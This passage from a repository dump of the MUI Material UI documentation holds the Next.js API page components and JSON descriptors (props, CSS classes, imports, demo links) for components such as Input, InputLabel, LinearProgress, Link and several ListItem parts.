`disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiInputLabel-filled\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"State class applied to the root element if `focused={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"formControl\",\n      \"className\": \"MuiInputLabel-formControl\",\n      \"description\": \"Styles applied to the root element if the component is a descendant of `FormControl`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiInputLabel-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"required\",\n      \"className\": \"Mui-required\",\n      \"description\": \"State class applied to the root element if `required={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiInputLabel-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"shrink\",\n      \"className\": \"MuiInputLabel-shrink\",\n      \"description\": \"Styles applied to the input element if `shrink={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiInputLabel-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiInputLabel-standard\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiInputLabel\",\n  \"forwardsRefTo\": \"HTMLLabelElement\",\n  \"filename\": \"/packages/mui-material/src/InputLabel/InputLabel.js\",\n  \"inheritance\": { \"component\": \"FormLabel\", \"pathname\": \"/material-ui/api/form-label/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li>\\n<li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './input.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/input', false, /\\.\\/input.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input.json",
    "content": "{\n  \"props\": {\n    \"autoComplete\": { \"type\": { \"name\": \"string\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableUnderline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"endAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"inputComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"'input'\" },\n    \"inputProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'<br>&#124;&nbsp;'none'\" } },\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"multiline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"placeholder\": { \"type\": { \"name\": \"string\" } },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"rows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: object, root?: object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"startAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": { \"type\": { \"name\": \"string\" }, \"default\": \"'text'\" },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"Input\",\n  \"imports\": [\"import Input from '@mui/material/Input';\", \"import { Input } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiInput-colorSecondary\",\n      \"description\": \"Styles applied to the root element if color secondary.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"Styles applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"Styles applied to the root element if the component is focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"formControl\",\n      \"className\": \"MuiInput-formControl\",\n      \"description\": \"Styles applied to the root element if the component is a descendant of `FormControl`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiInput-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiInput-input\",\n      \"description\": \"Styles applied to the input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inputTypeSearch\",\n      \"className\": \"MuiInput-inputTypeSearch\",\n      \"description\": \"Styles applied to the input element if `type=\\\"search\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiline\",\n      \"className\": \"MuiInput-multiline\",\n      \"description\": \"Styles applied to the root element if `multiline={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiInput-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiInput-sizeSmall\",\n      \"description\": \"Styles applied to the input element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"underline\",\n      \"className\": \"MuiInput-underline\",\n      \"description\": \"Styles applied to the root element unless `disableUnderline={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiInput\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Input/Input.js\",\n  \"inheritance\": { \"component\": \"InputBase\", \"pathname\": \"/material-ui/api/input-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/linear-progress.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './linear-progress.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/linear-progress',\n    false,\n    /\\.\\/linear-progress.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/linear-progress.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"number\" } },\n    \"valueBuffer\": { \"type\": { \"name\": \"number\" } },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'buffer'<br>&#124;&nbsp;'determinate'<br>&#124;&nbsp;'indeterminate'<br>&#124;&nbsp;'query'\"\n      },\n      \"default\": \"'indeterminate'\"\n    }\n  },\n  \"name\": \"LinearProgress\",\n  \"imports\": [\n    \"import LinearProgress from '@mui/material/LinearProgress';\",\n    \"import { LinearProgress } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"bar\",\n      \"className\": \"MuiLinearProgress-bar\",\n      \"description\": \"Styles applied to the layered bar1 and bar2 elements.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"bar1\",\n      \"className\": \"MuiLinearProgress-bar1\",\n      \"description\": \"Styles applied to the bar1 element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"bar2\",\n      \"className\": \"MuiLinearProgress-bar2\",\n      \"description\": \"Styles applied to the bar2 element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"buffer\",\n      \"className\": \"MuiLinearProgress-buffer\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"buffer\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiLinearProgress-colorPrimary\",\n      \"description\": \"Styles applied to the root and bar2 element if `color=\\\"primary\\\"`; bar2 if `variant=\\\"buffer\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiLinearProgress-colorSecondary\",\n      \"description\": \"Styles applied to the root and bar2 elements if `color=\\\"secondary\\\"`; bar2 if `variant=\\\"buffer\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"dashed\",\n      \"className\": \"MuiLinearProgress-dashed\",\n      \"description\": \"Styles applied to the additional bar element if `variant=\\\"buffer\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"determinate\",\n      \"className\": \"MuiLinearProgress-determinate\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"determinate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"indeterminate\",\n      \"className\": \"MuiLinearProgress-indeterminate\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"indeterminate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"query\",\n      \"className\": \"MuiLinearProgress-query\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"query\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiLinearProgress-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiLinearProgress\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/LinearProgress/LinearProgress.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-progress/\\\">Progress</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/link.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './link.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/link', false, /\\.\\/link.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/link.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;'textPrimary'<br>&#124;&nbsp;'textSecondary'<br>&#124;&nbsp;'textDisabled'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"component\": { \"type\": { \"name\": \"custom\", \"description\": \"element type\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"TypographyClasses\": { \"type\": { \"name\": \"object\" } },\n    \"underline\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'always'<br>&#124;&nbsp;'hover'<br>&#124;&nbsp;'none'\"\n      },\n      \"default\": \"'always'\"\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'body1'<br>&#124;&nbsp;'body2'<br>&#124;&nbsp;'button'<br>&#124;&nbsp;'caption'<br>&#124;&nbsp;'h1'<br>&#124;&nbsp;'h2'<br>&#124;&nbsp;'h3'<br>&#124;&nbsp;'h4'<br>&#124;&nbsp;'h5'<br>&#124;&nbsp;'h6'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'overline'<br>&#124;&nbsp;'subtitle1'<br>&#124;&nbsp;'subtitle2'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'inherit'\"\n    }\n  },\n  \"name\": \"Link\",\n  \"imports\": [\"import Link from '@mui/material/Link';\", \"import { Link } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"button\",\n      \"className\": \"MuiLink-button\",\n      \"description\": \"Styles applied to the root element if `component=\\\"button\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if the link is keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiLink-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"underlineAlways\",\n      \"className\": \"MuiLink-underlineAlways\",\n      \"description\": \"Styles applied to the root element if `underline=\\\"always\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"underlineHover\",\n      \"className\": \"MuiLink-underlineHover\",\n      \"description\": \"Styles applied to the root element if `underline=\\\"hover\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"underlineNone\",\n      \"className\": \"MuiLink-underlineNone\",\n      \"description\": \"Styles applied to the root element if `underline=\\\"none\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiLink\",\n  \"forwardsRefTo\": \"HTMLAnchorElement\",\n  \"filename\": \"/packages/mui-material/src/Link/Link.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-breadcrumbs/\\\">Breadcrumbs</a></li>\\n<li><a href=\\\"/material-ui/react-link/\\\">Links</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-avatar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item-avatar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item-avatar',\n    false,\n    /\\.\\/list-item-avatar.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-avatar.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItemAvatar\",\n  \"imports\": [\n    \"import ListItemAvatar from '@mui/material/ListItemAvatar';\",\n    \"import { ListItemAvatar } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignItemsFlexStart\",\n      \"className\": \"MuiListItemAvatar-alignItemsFlexStart\",\n      \"description\": \"Styles applied to the root element when the parent `ListItem` uses `alignItems=\\\"flex-start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListItemAvatar-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItemAvatar\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ListItemAvatar/ListItemAvatar.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item-button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item-button',\n    false,\n    /\\.\\/list-item-button.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-button.json",
    "content": "{\n  \"props\": {\n    \"alignItems\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'center'<br>&#124;&nbsp;'flex-start'\" },\n      \"default\": \"'center'\"\n    },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"dense\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"divider\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"focusVisibleClassName\": { \"type\": { \"name\": \"string\" } },\n    \"selected\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItemButton\",\n  \"imports\": [\n    \"import ListItemButton from '@mui/material/ListItemButton';\",\n    \"import { ListItemButton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignItemsFlexStart\",\n      \"className\": \"MuiListItemButton-alignItemsFlexStart\",\n      \"description\": \"Styles applied to the component element if `alignItems=\\\"flex-start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiListItemButton-dense\",\n      \"description\": \"Styles applied to the component element if dense.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the inner `component` element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"divider\",\n      \"className\": \"MuiListItemButton-divider\",\n      \"description\": \"Styles applied to the inner `component` element if `divider={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the `component`'s `focusVisibleClassName` prop.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiListItemButton-gutters\",\n      \"description\": \"Styles applied to the inner `component` element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListItemButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItemButton\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ListItemButton/ListItemButton.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-icon.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item-icon.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item-icon',\n    false,\n    /\\.\\/list-item-icon.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-icon.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItemIcon\",\n  \"imports\": [\n    \"import ListItemIcon from '@mui/material/ListItemIcon';\",\n    \"import { ListItemIcon } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignItemsFlexStart\",\n      \"className\": \"MuiListItemIcon-alignItemsFlexStart\",\n      \"description\": \"Styles applied to the root element when the parent `ListItem` uses `alignItems=\\\"flex-start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListItemIcon-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItemIcon\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ListItemIcon/ListItemIcon.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-secondary-action.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item-secondary-action.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item-secondary-action',\n    false,\n    /\\.\\/list-item-secondary-action.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-secondary-action.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ListItemSecondaryAction\",\n  \"imports\": [\n    \"import ListItemSecondaryAction from '@mui/material/ListItemSecondaryAction';\",\n    \"import { ListItemSecondaryAction } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disableGutters\",\n      \"className\": \"MuiListItemSecondaryAction-disableGutters\",\n      \"description\": \"Styles applied to the root element when the parent `ListItem` has `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiListItemSecondaryAction-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiListItemSecondaryAction\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ListItemSecondaryAction/ListItemSecondaryAction.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-text.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './list-item-text.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/list-item-text',\n    false,\n    /\\.\\/list-item-text.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/list-item-text.json",
